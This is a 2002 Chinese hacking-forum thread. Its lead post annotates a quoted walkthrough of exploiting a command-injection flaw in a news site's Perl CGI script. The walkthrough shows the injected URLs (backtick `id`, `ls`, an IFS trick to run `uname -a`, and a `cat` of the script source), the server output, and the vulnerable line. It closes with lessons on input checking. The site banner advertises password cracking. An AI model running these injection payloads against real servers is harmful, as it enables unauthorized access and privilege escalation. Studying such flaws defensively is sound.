黑客也是侠

一个真正适合新手的计算机安全入门网站,教给你最实用的实战技巧,最新、最全的黑软,成人网站破解密码……

610 成员1,060 主题5,847 回复41 张照片

网络入侵浅谈(2)-------------认识漏洞从零开始

B
B老大
2002-07-15 22:15
社团现在的很多朋友都是处于起步阶段,开始对网络安全产生兴趣,不管因为什么原因,有兴趣就是好的,就是开始。

暴力破戒虽然方法看起来有点傻,其实学问也不少,相信大家在使用流光和ad的过程中深有体会,gumuzi曾经问过我如何利用漏洞进入网站获得自己想要的东西。这个问题不是一句话,两句话说得明白。需要积累和自己领悟,当然你要说怎么学习,也有路子,其一我觉得是你至少对linux/unix的命令得有一定了解,对sql+iis系统有一点认识。

咱们先从linux/unix开始讲点东西,以下引用一篇文章给大家讲解cgi漏洞。
注:括号中为我的废话。


引文:
前几天在国内的某个169节点读新闻,这个站点顶部的一
排分类新闻的链接引起了我的注意,这些链接都指向一个
叫sub.pl(.pl文件是perl语言写的脚本,对于脚本大家可能或多或少知道点,它是可以在服务器上执行的文件,打个比方,dos下的可执行文件.exe,.com等。perl在一般的机器上象我们的windows无法执行,必须要基于一定的操作系统或者执行环境象winxxx的iis,linux下也可以执行。pl文件可以直接用文本打开,文本编辑,不恰当的形容象.bat文件。只是格式完全不是bat文件的格式,象大家平常的编程文件,下面大家可以看到事例。sub.pl根据名字可以看出是个子执行程序)的CGI,只是它们后面跟的参数不同:国内新闻的
是sub.pl?cn,国际新闻的是sub.pl?in,财经的是sub.pl?fi
诸如此类...跟一般的CGI程序不同,sub.pl后跟的不是通常
的key,value对,哈,让我给sub.pl吃点洋荤,随便自己指定
个参数给它:
http://victim.net/cgi-bin/home/news/sub.pl?12

不出所料,CGI运行出错了:
/home1/siteadm/cgi-bin/home/news/log/12/*.*: 无此文件或目录

这个CGI真是太老实了,它至少告诉了我们两件事情:一 CGI目录
的绝对路径. 二 我们输入参数的作用,sub.pl的参数是在脚本中
作为目录名.(这里文章说到绝对路径,这是非常重要的发现,就象//pub,或者不恰当的比喻就是所谓在机器上的目录,比如http://www.xx.net/c.jpg这个路径是大家在网站与名下的url地址,但是他在机器上,也就是对方服务器上的地址是多少呢,上面这个例子写得很清楚了/xxxx/xxx/c.jpg这就是绝对路径,这可以让你搞清楚对方网站构建的结构。比如你知道对方的图片目录是/pub/picture,如果对方没有设置访问权限,你可能直接输入绝对路径获得对picture的访问权,那以意味着什么呢?你可以绕过验证得到图片的访问权,当然这里面有权限的问题,以后再说)这些发现一下子把我兴趣提了起来,再试试不同的
参数说不定有更大的发现,经过N次的试验,得到的出错信息大同
小异,值到第N+1次请求:
http://victim.net/cgi-bin/home/news/sub.pl?&

服务器的返回信息有些不一样了:
sh: /WS_FTP95.exe: 不能执行

注意到了前面的"sh:"了吗?哈!,熟悉UNIX的朋友应该知道,这可是
只有在shell试图运行某个程序出错时才会出现的错误信息(unix系统的shell目前有bshell,cshell几种,shell具体的说是一种命令执行程序。).看起
来shell在试图运行什么程序,而重要的是我们能够影响它!怎样去
进一步的影响它呢?反引号"`",绝对是值得一试的:
http://victim.net/cgi-bin/home/news/sub.pl?`ls`(ls是个unix命令,list的缩写功能相当与dir,只是更为强大复杂)

服务器返回了奇怪的信息:
/home1/siteadm/cgi-bin/home/news/log/315: 无此文件或目录
"315"是什么东西?

再试:
http://victim.net/cgi-bin/home/news/sub.pl?`id` (id unix命令,身份命令)

这次返回的信息令我大吃一惊:
/home1/siteadm/cgi-bin/home/news/log/uid=999(siteadm): 无此文件或目录 gid=999(ne
tsite)/*.*: 无此文件或目?
很显然,服务器运行了id,我们能利用sub.pl运行shell命令了!刚
才的ls命令也肯定运行了,"315"一定是当前CGI目录下的子目录.

让我们来列一下服务器根目录吧:
http://victim.net/cgi-bin/home/news/sub.pl?`ls%20/`
(%20大家学过计算机很熟悉的,就是空格)

没成功:
sh: ls%20/: 没找到
看来,sub.pl没有把"%20"解码成空格的习惯 :( 如何绕过这个限制
呢?相信你现在也已经想到了,还得靠我们的IFS变量, 用它来指定
shell分界符.试一下:
http://victim.net/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`

(IFS是个什么啊?ifs是个shell变量,shell变量可以通过自己预先定义,放在.profile文件中,ifs由shell给出的缺省值为空格,制表符,新行符,他一般很少被用到,可以在profile文件修改,或者批处理文件修改。废话了一堆,简单点就是定义一个东西为另外一个东西,象c语言的宏定义)
服务器的回应:
/home1/siteadm/cgi-bin/home/news/log/SunOS: 无此文件或目录 victim.net: 无此文件或
目录 5.5.1: 无此文件或目录 Generic_103640-27: 无此文件或目录 sun4u: 无此文件或目
录 sparc: 无此文件或目录 SUNW,Ultra-2/*.*: 无此文件或目录
成功了!现在我们差不多有了shell访问权限,对SunOS这样的系统,拿
到root只是时间问题了.没有必要再继续下去,我不想搞破坏,对sub.pl
瞎子摸象式的攻击已经给了我足够的乐趣. :)
(拿到root就可以为所欲为了,至于如何拿到以后再说吧)

当然我还有兴趣看
看问题到底出在哪,把sub.pl弄下来看看:
当然这还得靠sub.pl :)
http://victim.net/cgi-bin/home/news/sub.pl?`cat<'/home1/siteadm/cgi-bin/home/new
s/sub.pl'`

(cat命令一样是unix命令,有点象dos的type用于输出,说白了就是给你看看这个文件内容是个啥)

输出结果太乱,就不列在这儿了.

经过整理后的sub.pl中的片断:

(以下的perl程序大家可以很清楚的感觉到他是不是跟你们平时的编程有点象啊,但是语句什么似乎更简单,是吧:-)我不解释了,因为我对perl只是了解皮毛,并不太精通)
#!/usr/gnu/bin/perl
require "common.pl";
#($type) = split(//,$ENV{'QUERY_STRING'});
$type1=$ENV{'QUERY_STRING'};
$tdbg="#FF9900";
&parse_form;
if ($FORM{'command'} eq 'search'){
#if ($FORM{'newstype'} ne 'newstype'){ $type1=$FORM{'newstype'};}
#}
if ($type1 eq"so") {$tdbg="#0099CC";}
if ($type1 eq"in") {$tdbg="#71B8FF";}
if ($type1 eq"fu") {$tdbg="#CE9ECD";}
if ($type1 eq"sp") {$tdbg="#CCCCFF";}
if ($type1 eq"te") {$tdbg="#FF91FC";}
if ($type1 eq"fi") {$tdbg="#ffb3b3";}
if ($type1 eq"it") {$tdbg="#FFDE01";}
if ($type1 eq"") {$type1="it";} open (FILE, "$cgipath/$type") || &error("Unable
to open $cgipath/$pwd");
@main1= <FILE>; close (FILE); foreach $line1(@main1)
{
chop($line1);
($type2,$name1)=split(//,$line1);
if ($type2 eq $type1) {$name=$name1;}
9}
$sublog=$$type1;
print "Content-type text/html \n\n";
if ($FORM{'command'} eq 'searchdate'){
$sublog="$type1/$FORM{'mmdd'}.txt";}
open(FILE,"$path_log/$sublog") || die("Unable to write to $path_log/$file");
@main = <FILE>;
close(FILE);
#&newshead($name,"1");
.
.
.
.
.
$data_path1="$data_path/$type1";
$search_data = `ls $data_path1/*.*`; <--------看来,就是死在这了 :)
$search_data =~ s/$data_path1|\.txt|\///g;
.
.
.
.
.

(CGI程序,ASP程序都包含了不少的内容,象.pl,.php,都是他们的一些执行程序,不光光是.cgi,.asp才是)
结论:对于编写很差的CGI程序,通过封闭源码的办法很多时候并不能躲过被
黑客利用的命运,黑客可以通过向它发送许多出人意料的请求,分析它的回应
猜测出程序的结构和可能存在的弱点从而利用之.上面的这个sub.pl例子,至
少犯了三个错误:1.没有对用户输入进行检查.2.在脚本中直接调用shell,3.
没有什么错误处理机制. 只要它在3点中的一点有所加强,将大大增加黑客入侵
的难度.还想说的是,国内外通过CGI漏洞入侵的例子并不少见,据说,ADM就是
利用第三方的CGI程序的漏洞黑了著名的hack站点anticode,Antionline变成了
ADMonline :).

(阿B的话:这是一个cgi漏洞被发现的过程,大家也可以从中感觉到什么--如何利用一个cgi漏洞,这是一个漫长艰苦但是又非常有意思的过程,最终的结果拿到root也许你搞到最后不是太在乎了。还有你如果想看得更清楚,更容易上手,多看点linux/unix,sql的书没有坏处。)

仅以此文献给孤星社的所有好朋友,特别是几个活跃分子,qym,久保, zeng_xh , AK58 ,boom0,ccn,feizai119,35 。
感谢gumuzi在我忙碌的日子管理论坛。



B
B老大
2002-07-16 06:45
可能大家一下子看不懂
没关系,万事开头难,慢慢来,有什么不懂,我尽量回答。
B
B老大
2002-07-16 07:37
怕大家看了上面忘了下面,感谢好朋友!
仅以此文献给孤星社的所有好朋友,特别是几个活跃分子,qym,久保, zeng_xh , AK58 ,boom0,ccn,feizai119,35 。
感谢gumuzi在我忙碌的日子管理论坛。




Z
zeng_xh
2002-07-16 07:41
老大,终于出现了
老大的出现总是能给我们带来一片光明,呵呵

希望老大常来!
S
sbp
2002-07-16 20:33
你可是个做老师的料!
B老大你到大学上课一定很受欢迎,思路很清楚!
我已经体验到这个破解过程带来的乐趣!谢谢分享
G
gumuzi
2002-07-16 22:49
非常感谢老大!
我会认真学习的。
G
gumuzi
2002-07-17 03:18
好文章!
再顶!
小
小文心
2002-07-18 03:41
我得好好学习!
好多地方不明白,看来得继续努力!
小
小文心
2002-07-20 04:03
顶
顶
I
ice_dog2002
2002-08-19 08:42
好难阿
我在大学不是学计算机的,不过我一定会好好学的
可以推荐几本系统的入门级的网络教程么?谢谢!
P
ptfy
2002-08-19 19:54
也顶
ice_dog2002朋友可去

http://smg.vip.myrice.com/inde.html

看看,那里有相关书籍下载.
小
小罗那耳朵
2002-08-20 04:42
终于发现
老大的教程,果然是高,好好学习一番!
豆
豆豉
2002-08-20 05:42
难哪!!!!
我学电脑是从WIN98开始的,你说的什么命令我一个都看不懂!看来只能做论坛吸血鬼咯!!
1 / 1

登录后回复。